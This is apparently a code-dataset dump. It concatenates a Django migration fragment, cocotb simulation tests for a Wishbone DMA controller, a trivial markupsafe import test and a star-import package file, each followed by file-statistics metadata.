('image', models.ImageField(upload_to='images/')),
('item', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='rum',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='images/')),
('item', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='vodka',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='images/')),
('item', models.CharField(max_length=50)),
],
),
migrations.CreateModel(
name='wine',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='images/')),
('item', models.CharField(max_length=50)),
],
),
]
| 35.086957 | 114 | 0.536555 | 153 | 1,614 | 5.509804 | 0.333333 | 0.099644 | 0.118624 | 0.109134 | 0.772242 | 0.772242 | 0.772242 | 0.772242 | 0.772242 | 0.772242 | 0 | 0.035326 | 0.315985 | 1,614 | 45 | 115 | 35.866667 | 0.728261 | 0.027881 | 0 | 0.717949 | 1 | 0 | 0.081047 | 0.014678 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.025641 | 0 | 0.102564 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f12ba3b13638a168bfcf71368f0c576498f4b7d4 | 26,493 | py | Python | verilog/wishbone/slave/wb_dma/cocotb/test_dma.py | CospanDesign/nysa-verilog | cfd576c7b188dce0de6c55d43ec5b60e231dc389 | [
"MIT"
] | 24 | 2016-09-15T16:14:39.000Z | 2020-11-26T15:19:24.000Z | verilog/wishbone/slave/wb_dma/cocotb/test_dma.py | CospanDesign/nysa-verilog | cfd576c7b188dce0de6c55d43ec5b60e231dc389 | [
"MIT"
] | 1 | 2020-05-15T13:32:59.000Z | 2020-05-15T13:32:59.000Z | verilog/wishbone/slave/wb_dma/cocotb/test_dma.py | CospanDesign/nysa-verilog | cfd576c7b188dce0de6c55d43ec5b60e231dc389 | [
"MIT"
] | 19 | 2016-03-29T23:56:55.000Z | 2021-09-16T08:23:41.000Z | # Simple tests for an adder module
import cocotb
import logging
from cocotb.result import TestFailure
from model import dma as dmam
from nysa.host.driver.dma import DMA
from model.sim_host import NysaSim
import time
CLK_PERIOD = 4
@cocotb.test(skip = False)
def first_test(dut):
"""
Description:
Very Basic Functionality
Startup Nysa
Startup DMA Controller
Test ID: 0
Expected Results:
Write to all registers
"""
dut.test_id = 0
nysa = NysaSim(dut)
yield(nysa.reset())
nysa.read_sdb()
nysa.pretty_print_sdb()
dma = DMA(nysa, nysa.find_device(DMA)[0])
yield cocotb.external(dma.setup)()
yield cocotb.external(dma.get_channel_count)()
dut.log.info("DMA Opened!")
dut.log.info("Ready")
def get_register_range(signal, top_bit, bot_bit):
#print "top_bit: %d" % top_bit
mask = (((1 << (top_bit)) - (1 << bot_bit)) >> (bot_bit))
value = signal.value.get_value()
value &= ((1 << top_bit) - (1 << bot_bit));
value = (value >> bot_bit) & mask
return value
def is_bit_set(signal, bit):
return ((signal & 1 << bit) > 0)
@cocotb.test(skip = False)
def test_setup_dma(dut):
"""
Description:
Set Values Within Simulation and make sure they stimulate
The correct places
Read Number of Sources
Read Number of Sinks
Read Number of Instructions
Source Testing:
Enable DMA
Source Address
Address Increment
Address Decrement
Address No Change
Set Sink Address
Set Instruction Address
Sink Testing:
Sink Address
Address Increment
Address Decrement
Address No Change
Quantum
Instruction
Continue Testing
Next Address
Source Reset Address on Command
Sink Reset Address on Command
Egress Enable and Egress Bond Address
Ingress Enable and Ingress Bond Address
Test ID: 1
Expected Results:
Write to all registers
"""
dut.test_id = 1
nysa = NysaSim(dut)
yield(nysa.reset())
nysa.read_sdb()
dma = DMA(nysa, nysa.find_device(DMA)[0])
yield nysa.wait_clocks(10)
yield cocotb.external(dma.setup)()
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_dma)(True)
yield nysa.wait_clocks(10)
#print "Enable dma"
SINK_ADDR = 2
INST_ADDR = 7
NEXT_INST_ADDR =3
INGRESS_ADDR = 2
EGRESS_ADDR = 4
level = logging.INFO
l = logging.getLogger("cocotb.gpi")
#print "dma.channel_count: %d" % dma.channel_count
#Source
for i in range (0, dma.channel_count):
#Set Channel Address Increment
yield cocotb.external(dma.enable_source_address_increment)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_src_addr_inc[i].value.get_value():
raise cocotb.result.TestFailure("Channel [%d] source addr increment is false when it should be true" % i)
l.setLevel(level)
r = yield cocotb.external(dma.is_source_address_increment)(i)
if r != True:
raise cocotb.result.TestFailure("Channel [%d] source Addr should be [%d] but is [%d]" % (i, INST_ADDR, r))
yield cocotb.external(dma.enable_source_address_increment)(i, False)
r = yield cocotb.external(dma.is_source_address_increment)(i)
if r != False:
raise cocotb.result.TestFailure("Channel [%d] source Addr should be [%d] but is [%d]" % (i, INST_ADDR, r))
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_src_addr_inc[i].value.get_value():
raise cocotb.result.TestFailure("Channel [%d] source addr increment is false when it should be false" % i)
l.setLevel(level)
#Set Channel Address Decrement
yield cocotb.external(dma.enable_source_address_decrement)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_src_addr_dec[i].value.get_value():
raise cocotb.result.TestFailure("Channel [%d] source addr decrement is false when it should be true" % i)
l.setLevel(level)
r = yield cocotb.external(dma.is_source_address_decrement)(i)
if r != True:
raise cocotb.result.TestFailure("Channel [%d] source Addr should be [%d] but is [%d]" % (i, INST_ADDR, r))
yield cocotb.external(dma.enable_source_address_decrement)(i, False)
r = yield cocotb.external(dma.is_source_address_decrement)(i)
if r != False:
raise cocotb.result.TestFailure("Channel [%d] source Addr should be [%d] but is [%d]" % (i, INST_ADDR, r))
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_src_addr_dec[i].value.get_value():
raise cocotb.result.TestFailure("Channel [%d] source addr decrement is true when it should be false" % i)
l.setLevel(level)
#Channel Enable
yield cocotb.external(dma.enable_channel)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.dma_enable[i].value.get_value():
raise cocotb.result.TestFailure("Channel [%d] source addr enable is false when it should be true" % i)
l.setLevel(level)
r = yield cocotb.external(dma.is_channel_enable)(i)
if r == False:
raise cocotb.result.TestFailure("Channel [%d] DMA Enable should be true but it is not" % (i))
yield cocotb.external(dma.enable_channel)(i, False)
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.dma_enable[i].value.get_value():
raise cocotb.result.TestFailure("Channel [%d] source addr enable is false when it should be true" % i)
l.setLevel(level)
r = yield cocotb.external(dma.is_channel_enable)(i)
if r:
raise cocotb.result.TestFailure("Channel [%d] DMA Enable should be false but it is not" % (i))
#Set Channel Sink Address
yield cocotb.external(dma.set_channel_sink_addr)(i, SINK_ADDR)
l.setLevel(logging.ERROR)
addr = get_register_range(dut.s1.dmacntrl.src_control[i], dmam.BIT_SINK_ADDR_TOP, dmam.BIT_SINK_ADDR_BOT)
l.setLevel(level)
if addr != SINK_ADDR:
cocotb.result.TestFailure("Channel [%d] Sink Address should be [%d] but is [%d]" % (i, SINK_ADDR, addr))
r = yield cocotb.external(dma.get_channel_sink_addr)(i)
if SINK_ADDR != r:
raise cocotb.result.TestFailure("Channel [%d] Sink Addr should be [%d] but is [%d]" % (i, SINK_ADDR, r))
#Set Channel Instruction Address
yield cocotb.external(dma.set_channel_instruction_pointer)(i, INST_ADDR)
l.setLevel(logging.ERROR)
inst_addr = get_register_range(dut.s1.dmacntrl.src_control[i], dmam.BIT_INST_PTR_TOP, dmam.BIT_INST_PTR_BOT)
l.setLevel(level)
if inst_addr != INST_ADDR:
raise cocotb.result.TestFailure("Channel [%d] Insruction Addr should be [%d] but is [%d]" % (i, INST_ADDR, inst_addr))
r = yield cocotb.external(dma.get_channel_instruction_pointer)(i)
if INST_ADDR != r:
raise cocotb.result.TestFailure("Channel [%d] Insruction Addr should be [%d] but is [%d]" % (i, INST_ADDR, r))
#Sink
for i in range (0, dma.sink_count):
#Enable and Disable the dest incrementing
yield cocotb.external(dma.enable_dest_address_increment)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_dest_addr_inc[i].value.get_value():
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Increment not enabled" % (i))
l.setLevel(level)
r = yield cocotb.external(dma.is_dest_address_increment)(i)
if r != True:
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Increment not enabled" % (i))
yield cocotb.external(dma.enable_dest_address_increment)(i, False)
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_dest_addr_inc[i].value.get_value():
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Increment not enabled" % (i))
l.setLevel(level)
r = yield cocotb.external(dma.is_dest_address_increment)(i)
if r:
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Increment enabled" % (i))
#Enable and Disable the dest decrementing
yield cocotb.external(dma.enable_dest_address_decrement)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_dest_addr_dec[i].value.get_value():
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Decrement not enabled" % (i))
l.setLevel(level)
r = yield cocotb.external(dma.is_dest_address_decrement)(i)
if r != True:
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Decrement not enabled" % (i))
yield cocotb.external(dma.enable_dest_address_decrement)(i, False)
if dut.s1.dmacntrl.flag_dest_addr_dec[i].value.get_value():
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Decrement not enabled" % (i))
l.setLevel(level)
r = yield cocotb.external(dma.is_dest_address_decrement)(i)
if r:
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Decrement enabled" % (i))
#Enable and Disable the sink respect quantum
yield cocotb.external(dma.enable_dest_respect_quantum)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_dest_data_quantum[i].value.get_value():
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Respect Quantum not enabled" % (i))
l.setLevel(level)
r = yield cocotb.external(dma.is_dest_respect_quantum)(i)
if r != True:
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Respect Quantum not enabled" % (i))
yield cocotb.external(dma.enable_dest_respect_quantum)(i, False)
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_dest_data_quantum[i].value.get_value():
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Respect Quantum enabled" % (i))
l.setLevel(level)
r = yield cocotb.external(dma.is_dest_respect_quantum)(i)
if r:
raise cocotb.result.TestFailure("Sink [%d] DMA Sink Address Respect Quantum enabled" % (i))
#Instruction
for i in range(dma.get_instruction_count()):
#Continue Testing
yield cocotb.external(dma.enable_instruction_continue)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_instruction_continue[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Instruction Continue Not Enabled When it shouldn't be" % (i))
l.setLevel(level)
yield cocotb.external(dma.enable_instruction_continue)(i, False)
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_instruction_continue[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Instruction Continue Enabled When it shouldn't be" % (i))
l.setLevel(level)
#Next Address
yield cocotb.external(dma.set_instruction_next_instruction)(i, NEXT_INST_ADDR)
l.setLevel(logging.ERROR)
addr = dut.s1.dmacntrl.cmd_next[i].value.get_value()
l.setLevel(level)
if addr != NEXT_INST_ADDR:
raise cocotb.result.TestFailure("Instruction [%d] Next Address Should be [%d] but is [%d]" % (i, NEXT_INST_ADDR, addr))
yield cocotb.external(dma.set_instruction_next_instruction)(i, 0)
l.setLevel(logging.ERROR)
addr = dut.s1.dmacntrl.cmd_next[i].value.get_value()
l.setLevel(level)
if addr != 0:
raise cocotb.result.TestFailure("Instruction [%d] Next Address Should be [%d] but is [%d]" % (i, 0, addr))
#Source Reset Address on Command
yield cocotb.external(dma.enable_instruction_src_addr_reset_on_cmd)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_src_addr_rst_on_cmd[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Reset Source Address on command is not set" % (i))
l.setLevel(level)
yield cocotb.external(dma.enable_instruction_src_addr_reset_on_cmd)(i, False)
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_src_addr_rst_on_cmd[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Reset Source Address on command is set" % (i))
l.setLevel(level)
#Sink Reset Address on Command
yield cocotb.external(dma.enable_instruction_dest_addr_reset_on_cmd)(i, True)
l.setLevel(logging.ERROR)
if not dut.s1.dmacntrl.flag_dest_addr_rst_on_cmd[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Reset Destination Address on command is not set" % (i))
l.setLevel(level)
yield cocotb.external(dma.enable_instruction_dest_addr_reset_on_cmd)(i, False)
if dut.s1.dmacntrl.flag_dest_addr_rst_on_cmd[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Reset Destination Address on command is set" % (i))
l.setLevel(level)
#Egress Enable and Egress Bond Address
yield cocotb.external(dma.set_instruction_egress)(i, EGRESS_ADDR)
yield cocotb.external(dma.enable_egress_bond)(i, True)
l.setLevel(logging.ERROR)
addr = dut.s1.dmacntrl.egress_bond_ip[i].value.get_value()
if not dut.s1.dmacntrl.flag_egress_bond[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Egress is not Enabled when it should be" % (i))
l.setLevel(level)
if addr != EGRESS_ADDR:
raise cocotb.result.TestFailure("Instruction [%d] Egress Address Should be [%d] but is [%d]" % (i, EGRESS_ADDR, addr))
yield cocotb.external(dma.enable_egress_bond)(i, False)
if dut.s1.dmacntrl.flag_egress_bond[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Egress is Enabled when it shouldn't be" % (i))
#Ingress Enable and Ingress Bond Address
yield cocotb.external(dma.set_instruction_ingress)(i, INGRESS_ADDR)
yield cocotb.external(dma.enable_ingress_bond)(i, True)
l.setLevel(logging.ERROR)
addr = dut.s1.dmacntrl.ingress_bond_ip[i].value.get_value()
if not dut.s1.dmacntrl.flag_ingress_bond[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Ingress is not Enabled when it should be" % (i))
l.setLevel(level)
if addr != INGRESS_ADDR:
raise cocotb.result.TestFailure("Instruction [%d] Ingress Address Should be [%d] but is [%d]" % (i, EGRESS_ADDR, addr))
yield cocotb.external(dma.enable_ingress_bond)(i, False)
l.setLevel(logging.ERROR)
if dut.s1.dmacntrl.flag_ingress_bond[i].value.get_value():
raise cocotb.result.TestFailure("Instruction [%d] Ingress is Enabled when it shouldn't be" % (i))
l.setLevel(level)
print "Finished"
yield nysa.wait_clocks(10)
def get_source_error_signal(dut, source_addr):
source_ptr = None
'''
XXX
This is ugly and should be fixed with a generator
Maybe not, I'm not sure if I can parameterize all the input if I did a
generator
'''
if source_addr == 0:
source_ptr = dut.tdm0.tmd
elif source_addr == 1:
source_ptr = dut.tdm1.tmd
elif source_addr == 2:
source_ptr = dut.tdm2.tmd
elif source_addr == 3:
source_ptr = dut.tdm3.tmd
return source_ptr.m2f_data_error
def get_sink_error_signal(dut, sink_addr):
sink_ptr = None
'''
XXX
This is ugly and should be fixed with a generator
Maybe not, I'm not sure if I can parameterize all the input if I did a
generator
'''
if sink_addr == 0:
sink_ptr = dut.tdm0.tmd
elif sink_addr == 1:
sink_ptr = dut.tdm1.tmd
elif sink_addr == 2:
sink_ptr = dut.tdm2.tmd
elif sink_addr == 3:
sink_ptr = dut.tdm3.tmd
return sink_ptr.f2m_data_error
class ErrorMonitor(cocotb.monitors.Monitor):
def __init__(self, dut, signal):
self.dut = dut
self.signal = signal
super (ErrorMonitor, self).__init__(callback = None, event = None)
@cocotb.coroutine
def _monitor_recv(self):
while (1):
yield cocotb.triggers.RisingEdge(self.signal)
#self._recv(self.dut.get_sim_time())
self._recv(1)
@cocotb.test(skip = False)
def test_execute_single_instruction(dut):
"""
Description:
-Setup source and sink for 256 word transaction
-Setup the source address to increment
-Setup the sink address to increment
-setup instruction
Test ID: 2
Expected Results:
Data is all transferred from one memory device to the next
"""
dut.test_id = 2
nysa = NysaSim(dut)
yield(nysa.reset())
nysa.read_sdb()
yield nysa.wait_clocks(2000)
dma = DMA(nysa, nysa.find_device(DMA)[0])
yield cocotb.external(dma.setup)()
yield cocotb.external(dma.enable_dma)(True)
#yield nysa.wait_clocks(10)
CHANNEL_ADDR = 1
SINK_ADDR = 0
INST_ADDR = 7
source_error = get_source_error_signal(dut, CHANNEL_ADDR)
sink_error = get_sink_error_signal(dut, SINK_ADDR)
source_error_monitor = ErrorMonitor(dut, source_error)
sink_error_monitor = ErrorMonitor(dut, sink_error)
yield cocotb.external(dma.set_channel_sink_addr) (CHANNEL_ADDR, SINK_ADDR )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_channel_instruction_pointer) (CHANNEL_ADDR, INST_ADDR )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_source_address_increment) (CHANNEL_ADDR, True )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_dest_address_increment) (SINK_ADDR, True )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_dest_respect_quantum) (SINK_ADDR, False )
#yield cocotb.external(dma.enable_dest_respect_quantum) (SINK_ADDR, True )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_source_address) (INST_ADDR, 0x0000000000000000 )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_dest_address) (INST_ADDR, 0x0000000000000010 )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_data_count) (INST_ADDR, 1000 )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_channel_instruction_pointer) (CHANNEL_ADDR, INST_ADDR )
yield nysa.wait_clocks(10)
#Start
yield cocotb.external(dma.enable_channel) (CHANNEL_ADDR, True )
yield nysa.wait_clocks(2000)
yield cocotb.external(dma.enable_channel) (CHANNEL_ADDR, False )
yield cocotb.external(dma.enable_dma)(False)
yield nysa.wait_clocks(10)
#dut.tdm0.m2f_data_error <= 1
#yield nysa.wait_clocks(10)
if len(source_error_monitor) > 0:
raise cocotb.result.TestFailure("Test %d Error on source %d write detected %d errors" % (dut.test_id, CHANNEL_ADDR, len(source_error_monitor)))
if len(sink_error_monitor) > 0:
raise cocotb.result.TestFailure("Test %d Error on source %d read detected %d errors" % (dut.test_id, SINK_ADDR, len(sink_error_monitor)))
source_error_monitor.kill()
sink_error_monitor.kill()
@cocotb.test(skip = False)
def test_continuous_transfer(dut):
"""
Description:
Setup a channel to transfer data
Test ID: 3
Expected Results:
Data is all transferred from one memory device to the next
"""
dut.test_id = 3
nysa = NysaSim(dut)
yield(nysa.reset())
nysa.read_sdb()
yield nysa.wait_clocks(2000)
dma = DMA(nysa, nysa.find_device(DMA)[0])
yield cocotb.external(dma.setup)()
yield cocotb.external(dma.enable_dma)(True)
#yield nysa.wait_clocks(10)
CHANNEL_ADDR = 3
SINK_ADDR = 2
INST_ADDR = 2
source_error = get_source_error_signal(dut, CHANNEL_ADDR)
sink_error = get_sink_error_signal(dut, SINK_ADDR)
source_error_monitor = ErrorMonitor(dut, source_error)
sink_error_monitor = ErrorMonitor(dut, sink_error)
#yield cocotb.external(dma.enable_channel) (CHANNEL_ADDR, False )
yield cocotb.external(dma.set_channel_sink_addr) (CHANNEL_ADDR, SINK_ADDR )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_channel_instruction_pointer) (CHANNEL_ADDR, INST_ADDR )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_source_address_increment) (CHANNEL_ADDR, True )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_dest_address_increment) (SINK_ADDR, True )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_dest_respect_quantum) (SINK_ADDR, False )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.enable_instruction_continue) (INST_ADDR, True )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_source_address) (INST_ADDR, 0x0000000000000000 )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_dest_address) (INST_ADDR, 0x0000000000000010 )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_data_count) (INST_ADDR, 0x0100 )
yield nysa.wait_clocks(10)
yield cocotb.external(dma.set_instruction_next_instruction) (INST_ADDR, INST_ADDR )
yield nysa.wait_clocks(10)
#Start
yield cocotb.external(dma.set_channel_instruction_pointer) (CHANNEL_ADDR, INST_ADDR )
yield cocotb.external(dma.enable_channel) (CHANNEL_ADDR, True )
yield nysa.wait_clocks(2000)
yield cocotb.external(dma.enable_channel) (CHANNEL_ADDR, False )
yield cocotb.external(dma.enable_dma)(False)
yield nysa.wait_clocks(10)
if len(source_error_monitor) > 0:
raise cocotb.result.TestFailure("Test %d Error on source %d read detected %d errors" % (dut.test_id, CHANNEL_ADDR, len(source_error_monitor)))
if len(sink_error_monitor) > 0:
raise cocotb.result.TestFailure("Test %d Error on sink %d write detected %d errors" % (dut.test_id, SINK_ADDR, len(sink_error_monitor)))
source_error_monitor.kill()
sink_error_monitor.kill()
@cocotb.test(skip = False)
def test_double_buffer(dut):
"""
Description:
Setup a channel to transfer data
Test ID: 4
Expected Results:
Data is all transferred from one memory device to the next
"""
dut.test_id = 4
nysa = NysaSim(dut)
yield(nysa.reset())
nysa.read_sdb()
yield nysa.wait_clocks(10)
dma = DMA(nysa, nysa.find_device(DMA)[0])
yield cocotb.external(dma.setup)()
yield cocotb.external(dma.enable_dma)(True)
#yield nysa.wait_clocks(10)
#Instructions
INST_START_ADDR = 0
#Channels
SOURCE_CHANNEL = 0
MEM_SINK_CHANNEL = 2
MEM_SOURCE_CHANNEL = 2
SINK_CHANNEL = 1
#Addresses
SOURCE_ADDR = 0x0000
MEM_ADDR0 = 0x0000
MEM_ADDR1 = 0x0000
SINK_ADDR = 0x0000
#Count
COUNT = 0x0080
print "Setup double buffer"
source_error = get_source_error_signal(dut, SOURCE_CHANNEL)
sink_error = get_sink_error_signal(dut, SINK_CHANNEL)
source_error_monitor = ErrorMonitor(dut, source_error)
sink_error_monitor = ErrorMonitor(dut, sink_error)
#Setup Address Increments for all sinks and sources
yield cocotb.external(dma.enable_source_address_increment)(SOURCE_CHANNEL, True)
yield cocotb.external(dma.enable_dest_address_increment)(SINK_CHANNEL, True)
yield cocotb.external(dma.enable_dest_respect_quantum)(MEM_SINK_CHANNEL, True)
yield cocotb.external(dma.enable_source_address_increment)(MEM_SOURCE_CHANNEL, True)
yield cocotb.external(dma.enable_dest_respect_quantum)(MEM_SINK_CHANNEL, False)
yield cocotb.external(dma.enable_dest_address_increment)(MEM_SINK_CHANNEL, True)
yield cocotb.external(dma.set_channel_sink_addr)(SOURCE_CHANNEL, MEM_SINK_CHANNEL)
yield cocotb.external(dma.set_channel_sink_addr)(MEM_SOURCE_CHANNEL, SINK_CHANNEL)
yield cocotb.external(dma.setup_double_buffer) \
( start_inst_addr = INST_START_ADDR, \
source = SOURCE_CHANNEL, \
sink = SINK_CHANNEL, \
mem_sink = MEM_SINK_CHANNEL, \
mem_source = MEM_SOURCE_CHANNEL, \
source_addr = SOURCE_ADDR, \
sink_addr = SINK_ADDR, \
mem_addr0 = MEM_ADDR0, \
mem_addr1 = MEM_ADDR1, \
count = COUNT )
yield cocotb.external(dma.enable_channel)(SOURCE_CHANNEL, True)
yield cocotb.external(dma.enable_channel)(MEM_SOURCE_CHANNEL, True)
yield nysa.wait_clocks(4000)
yield cocotb.external(dma.enable_channel)(SOURCE_CHANNEL, False)
yield cocotb.external(dma.enable_channel)(MEM_SOURCE_CHANNEL, False)
if len(source_error_monitor) > 0:
raise cocotb.result.TestFailure("Test %d Error on source %d read detected %d errors" % (dut.test_id, SOURCE_CHANNEL, len(source_error_monitor)))
if len(sink_error_monitor) > 0:
raise cocotb.result.TestFailure("Test %d Error on sink %d read detected %d errors" % (dut.test_id, SINK_CHANNEL, len(sink_error_monitor)))
source_error_monitor.kill()
sink_error_monitor.kill()
yield nysa.wait_clocks(100)
| 40.758462 | 152 | 0.652776 | 3,542 | 26,493 | 4.684641 | 0.064088 | 0.062315 | 0.106491 | 0.123305 | 0.845537 | 0.82125 | 0.791719 | 0.7737 | 0.718797 | 0.657084 | 0 | 0.014798 | 0.250104 | 26,493 | 649 | 153 | 40.821263 | 0.820406 | 0.038425 | 0 | 0.484337 | 0 | 0 | 0.115077 | 0 | 0 | 0 | 0.00465 | 0 | 0 | 0 | null | null | 0 | 0.016867 | null | null | 0.007229 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f13b1c9fa74738cb6358be0495e7a3c868ba41ac | 49 | py | Python | python/miniconda/vendored/vendor/noarch/markupsafe-2.0.1-py39h27cfd23_0/info/test/run_test.py | kvedurmu/paketo-samples | 525b49f14883a6aa54959de3232430f0fdc1e66e | [
"Apache-2.0"
] | 1 | 2021-11-08T01:25:40.000Z | 2021-11-08T01:25:40.000Z | python/miniconda/vendored/vendor/noarch/markupsafe-2.0.1-py39h27cfd23_0/info/test/run_test.py | kvedurmu/paketo-samples | 525b49f14883a6aa54959de3232430f0fdc1e66e | [
"Apache-2.0"
] | 19 | 2021-03-10T21:30:56.000Z | 2022-02-27T06:45:03.000Z | python/miniconda/vendored/vendor/noarch/markupsafe-2.0.1-py39h27cfd23_0/info/test/run_test.py | kvedurmu/paketo-samples | 525b49f14883a6aa54959de3232430f0fdc1e66e | [
"Apache-2.0"
] | 2 | 2021-11-08T01:25:30.000Z | 2022-01-13T07:53:38.000Z | print("import: 'markupsafe'")
import markupsafe
| 12.25 | 29 | 0.755102 | 5 | 49 | 7.4 | 0.6 | 0.864865 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102041 | 49 | 3 | 30 | 16.333333 | 0.840909 | 0 | 0 | 0 | 0 | 0 | 0.416667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.5 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 8 |
f1564b501513673caa4c263e4eb085fade7cc060 | 154 | py | Python | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_0/_pkg1_0_0_0/_pkg1_0_0_0_0/__init__.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_0/_pkg1_0_0_0/_pkg1_0_0_0_0/__init__.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_0/_pkg1_0_0_0/_pkg1_0_0_0_0/__init__.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | from ._mod1_0_0_0_0_0 import *
from ._mod1_0_0_0_0_1 import *
from ._mod1_0_0_0_0_2 import *
from ._mod1_0_0_0_0_3 import *
from ._mod1_0_0_0_0_4 import * | 30.8 | 30 | 0.811688 | 40 | 154 | 2.375 | 0.2 | 0.336842 | 0.347368 | 0.252632 | 0.884211 | 0.884211 | 0.757895 | 0 | 0 | 0 | 0 | 0.222222 | 0.123377 | 154 | 5 | 31 | 30.8 | 0.481481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 12 |
74f97b40980e83fa312e0bfa8b192a0ca49e5881 | 4,521 | py | Python | src/sensai/catboost.py | schroedk/sensAI | a2d6d7c6ab7bed9ccd5eac216dd988c49d69aec7 | [
"MIT"
] | 10 | 2020-02-19T09:16:54.000Z | 2022-02-04T16:19:33.000Z | src/sensai/catboost.py | schroedk/sensAI | a2d6d7c6ab7bed9ccd5eac216dd988c49d69aec7 | [
"MIT"
] | 47 | 2020-03-11T16:26:51.000Z | 2022-02-04T15:29:40.000Z | src/sensai/catboost.py | schroedk/sensAI | a2d6d7c6ab7bed9ccd5eac216dd988c49d69aec7 | [
"MIT"
